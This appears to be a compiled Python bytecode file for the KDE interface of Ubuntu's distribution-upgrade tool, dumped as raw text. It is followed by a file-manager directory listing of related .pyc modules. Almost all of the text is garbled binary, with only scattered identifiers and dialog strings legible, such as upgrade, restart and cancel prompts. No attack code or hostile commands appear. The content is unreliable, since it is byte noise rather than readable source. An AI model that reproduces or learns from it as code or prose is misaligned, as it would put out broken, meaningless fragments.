	�&�&�t�g�'3�	5�&�t�'7�'7�8����"�D�$8�$8�9����-�-�2�2�4����&�&�4�4�<�<�T�=\�=\�]��&�&�t�';�';�<����&�&�-�-�.>�.M�.M�.P�.P�Q�Y�Y�Z[�\l�Zm�n����&�&�-�-�.>�.M�.M�.R�.R�S�[�[�\a�\c�d����&�&�-�-�.>�.M�.M�.R�.R�S�[�[�\]�^g�\h�kq�\q�r��,�'e�'i�'k�l��	
���,�,�6�6�{�7I�7I�"�b�7Q�R��d�?��Q�Z�'�'��R�0�F�� � �*�*�1�1�2B�2Q�2Q�2X�2X�Y�a�a�bh�i��a�j�(�(��b�1�G�� � �*�*�1�1�2B�2Q�2Q�2T�2T�U�]�]�^e�f�,�w�6�����*�*�2�2�;�?����*�*�2�2�4�3M�3M�N����-�-�3�3�5����-�-�=�=�z�l�K����-�-�4�4�6�;�;�=��-�-�B�� � �1�1�D�D�Q��X\�Xl�Xl�X}�X}�AB�CN�AO�RT�RY�RY�AY�@Z�I[�
]� ��#�#�B�� � �1�1�D�D�Q��X\�Xl�Xl�X}�X}�AB�Cc�Ad�gi�gn�gn�An�@o�Ip�
r�$��N�N�D�� � �1�1�D�D�Q��X\�Xl�Xl�X}�X}�AB�CO�AP�SW�S\�S\�A\�@]�I^�
`�#��.�.�B�� � �1�1�D�D�Q��X\�Xl�Xl�X}�X}�AB�CO�AP�SU�SZ�SZ�AZ�@[�I\�
^�!�	
���'�'�)��"�"�'�'�)���'�$�$�-�-�-��r+c�|�URRR5(a}URRR5 URRR[RR5R[S5S-5 O|URRR5 URRR[RR5RS[S5-5 URR5 g)Nr
rz<<< )
rrrIr'rrrr�rr�r�r�rAr?s r)r�-DistUpgradeViewKDE.showChangesDialogueDetailsAs������0�0�:�:�<�<�� � �1�1�6�6�8�� � �*�*�1�1�2B�2Q�2Q�2V�2V�W�_�_�`a�bk�`l�ou�`u�v�� � �1�1�6�6�8�� � �*�*�1�1�2B�2Q�2Q�2V�2V�W�_�_�`f�ij�kt�iu�`u�v����'�'�)r+c�&�[R"URUSU-[RR[RR
-[RR
5nU[RR:Xagg)Nz<font>TF)rr�r�r��Yes�No)r@r+r��default�answers     r)�askYesNoQuestion�#DistUpgradeViewKDE.askYesNoQuestionJs����%�%�d�&6�&6���C��Q\�Qk�Qk�Qo�Qo�p{�qK�qK�qN�qN�RN�P[�Pj�Pj�Pm�Pm�n���[�/�/�3�3�3��r+c�r�[[RX[RRUR5nUR[RR5nUR[RR5nUR[S55 US:XaURU5 OURU5 Uc2UR5nURU[R-5 UR5nU[RR:Xagg)N�Continuer�TF)r�Warningr��NoButtonr��	addButton�Applyr�r�r��setDefaultButton�windowFlags�setWindowFlagsr�FramelessWindowHintr()	r@r+r�r5�
messageBox�continueButton�cancelButton�flagsr6s	         r)�askCancelContinueQuestion�,DistUpgradeViewKDE.askCancelContinueQuestionPs��� ��!4�!4�g�K�D^�D^�Dg�Dg�im�iy�iy�z�
�#�-�-�k�.H�.H�.N�.N�O��!�+�+�K�,F�,F�,M�,M�N�����q��}�-��h���'�'��5��'�'��7��?��*�*�,�E��%�%�e�b�.D�.D�&D�E����"���[�/�/�5�5�5��r+c�\�[[RR[S5[S5[RR
UR5nUR[RR5nUR[RR5nUR[S5RSS55 UR[R"SS55 UR5nU[RR:Xagg	)
NzRestart requiredz<<b><big>Restart the system to complete the upgrade</big></b>z_Restart Nowr�r�r�r�TF)r�Icon�Questionr�r�r<r�r=r3r4r�r/rr#r()r@rC�	yesButton�noButtonr6s     r)�confirmRestart�!DistUpgradeViewKDE.confirmRestartds�� ��!1�!1�!:�!:�A�>P�<Q�ST�VT�TU�Wb�Wq�Wq�Wz�Wz�|@�|L�|L�M�
��(�(��)C�)C�)G�)G�H�	��'�'��(B�(B�(E�(E�F�����!�N�+�3�3�C��=�>�����)�)�)�X�>�?����"���[�/�/�3�3�3��r+c�.�[R"5 gr5)r	r�r?s r)r�� DistUpgradeViewKDE.processEventsos���"�"�$r+c��gr5rw)r@rs  r)�
pulseProgress� DistUpgradeViewKDE.pulseProgressrs��	
r+c�6�[S5nURSS5n[R"UR[S5U[R
R[R
R5nU[R
R:Xagg)Nz�<b><big>Cancel the running upgrade?</big></b>

The system could be in an unusable state if you cancel the upgrade. You are strongly advised to resume the upgrade.r�z<br />zCancel Upgrade?TF)r�r/rrar�r�r3r4)r@r�r)s   r)rw�.DistUpgradeViewKDE.on_window_main_delete_eventxs����w�x���|�|�D�(�+���$�$�T�%5�%5�q�9J�7K�T�S^�Sm�Sm�Sq�Sq�s~�tN�tN�tQ�tQ�R���[�/�/�3�3�3��r+)
r�r�r�r�rrr�r�r^r�)NNr5)NT)r4)r�)F)rqrrrsrtr�rMr�r$r�r�r�r�r�r�r�r�r�r�rr
rrr7rGrNr�rSrwrvr�r�s@r)r~r~s����.�_�B�
7�J��6&�%�%�%�3���5�.�,�037�3�j*���(	�%�
�	�	r+r~)�strict)Er�r�PyQt6.QtCorerrrr�PyQt6.QtWidgetsrr	r
rrr
rrrr�PyQt6.QtGuirrrrrr�r	r1r9r��aptr�r�rmr-r��DistUpgradeApportrrrrrr�DistUpgradeConfigParserr�	telemetryrr�r�r�DistUpgradeGettextr�r r!r*r0r6r;rAr>rCryr��base�
OpProgressr�r�rrnr~rwr+r)�<module>rbs��0�9�9����A�@�
�
�����
����	�
�7�^�^�6�+�
��,�/�"��1��
�!�"�!�+�+������1�1�hH�9�H�V)�C�L�L�%�%�0�0�)�,2��2�jE��E�T���"}��}r+

Filemanager

Name Type Size Permission Actions
DistUpgradeApport.cpython-313.pyc File 6.12 KB 0644
DistUpgradeCache.cpython-313.pyc File 59.35 KB 0644
DistUpgradeConfigParser.cpython-313.pyc File 4.2 KB 0644
DistUpgradeController.cpython-313.pyc File 101.91 KB 0644
DistUpgradeFetcher.cpython-313.pyc File 7.21 KB 0644
DistUpgradeFetcherCore.cpython-313.pyc File 12.6 KB 0644
DistUpgradeFetcherKDE.cpython-313.pyc File 10.51 KB 0644
DistUpgradeGettext.cpython-313.pyc File 2.68 KB 0644
DistUpgradeMain.cpython-313.pyc File 10.22 KB 0644
DistUpgradeQuirks.cpython-313.pyc File 49.98 KB 0644
DistUpgradeVersion.cpython-313.pyc File 186 B 0644
DistUpgradeView.cpython-313.pyc File 21.06 KB 0644
DistUpgradeViewGtk3.cpython-313.pyc File 48.36 KB 0644
DistUpgradeViewKDE.cpython-313.pyc File 53.71 KB 0644
DistUpgradeViewNonInteractive.cpython-313.pyc File 17.46 KB 0644
DistUpgradeViewText.cpython-313.pyc File 13.41 KB 0644
GtkProgress.cpython-313.pyc File 4.58 KB 0644
MetaRelease.cpython-313.pyc File 18.05 KB 0644
QUrlOpener.cpython-313.pyc File 3 KB 0644
ReleaseNotesViewer.cpython-313.pyc File 8.47 KB 0644
ReleaseNotesViewerWebkit.cpython-313.pyc File 2.53 KB 0644
SimpleGtk3builderApp.cpython-313.pyc File 2.36 KB 0644
SimpleGtkbuilderApp.cpython-313.pyc File 2.34 KB 0644
__init__.cpython-313.pyc File 151 B 0644
apt_btrfs_snapshot.cpython-313.pyc File 17.36 KB 0644
dist-upgrade.cpython-313.pyc File 347 B 0644
telemetry.cpython-313.pyc File 4.72 KB 0644
utils.cpython-313.pyc File 22.68 KB 0644
xorg_fix_proprietary.cpython-313.pyc File 5.96 KB 0644
Filemanager